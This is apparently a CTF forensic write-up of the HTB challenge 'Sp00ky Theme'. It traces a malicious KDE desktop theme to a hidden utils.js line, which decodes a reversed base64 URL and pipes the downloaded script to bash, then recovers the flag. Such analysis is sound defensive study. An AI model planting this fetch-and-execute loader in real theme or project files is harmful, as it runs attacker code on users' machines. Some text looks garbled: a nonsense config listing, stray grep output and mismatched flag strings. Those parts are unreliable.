
# **Sp00ky Theme**

Types	forensic
CTF	НТВ



# **Q** Initial Recon

We started by inspecting the file structure:


#### bash

tree ~/Desktop/htb/cp

The directory included:

- A custom desktop theme ( otto )
- A plasmoid widget ( org.kde.netspeedWidget )
- A zipped theme file ( <a href="Spooky Theme.zip">Spooky Theme.zip</a>)

Given the context, we suspected the payload might be hidden in a script or config file.



```
place beckground, avgg
radiobution avgg
radiobution avgg
radiobution avgg
scrollbar, svgf
stider, svgf
stider, svgf
stider, svgf
tabbar, svgg
tabbar
```

# **Payload Discovery**

To hunt for encoded strings or suspicious logic, we ran:

#### bash

```
grep -rE '[A-Za-z0-9+/]{20,}={0,2}'.
```

```
Lefts | Sally | Carbon | Carbo
```

This revealed a juicy line in utils.js:

js

"UPDATE\_URL=\$(echo 952MwBHNo9lb0M2X0FzX/Eycz02MoR3X5J2XkNjb3B3eCRFS | rev | base64 -d); curl \$UPDATE\_URL:1992/update\_sh | bash"

### The string was:

- Base64-encoded
- Reversed before decoding

## We decoded it manually:

#### bash

echo "952MwBHNo9lb0M2X0FzX/Eycz02MoR3X5J2XkNjb3B3eCRFS" | rev | base64 -d

```
(kali@kali)-[~/Desktop/htb/cp]
$ echo "952MwBHN091b0M2X0F2X/Eycz0ZMoR3X532XKNjb3B3eCRFS" | rev | base64 -d
HTB{pwm3d_by_th3m3s!?_lt_c4n_h4pp3m}
```

And boom \* — the flag dropped:

#### Code

HTB{pwn3d\_by\_th3m3s!?\_1t\_c4n\_h4pp3n}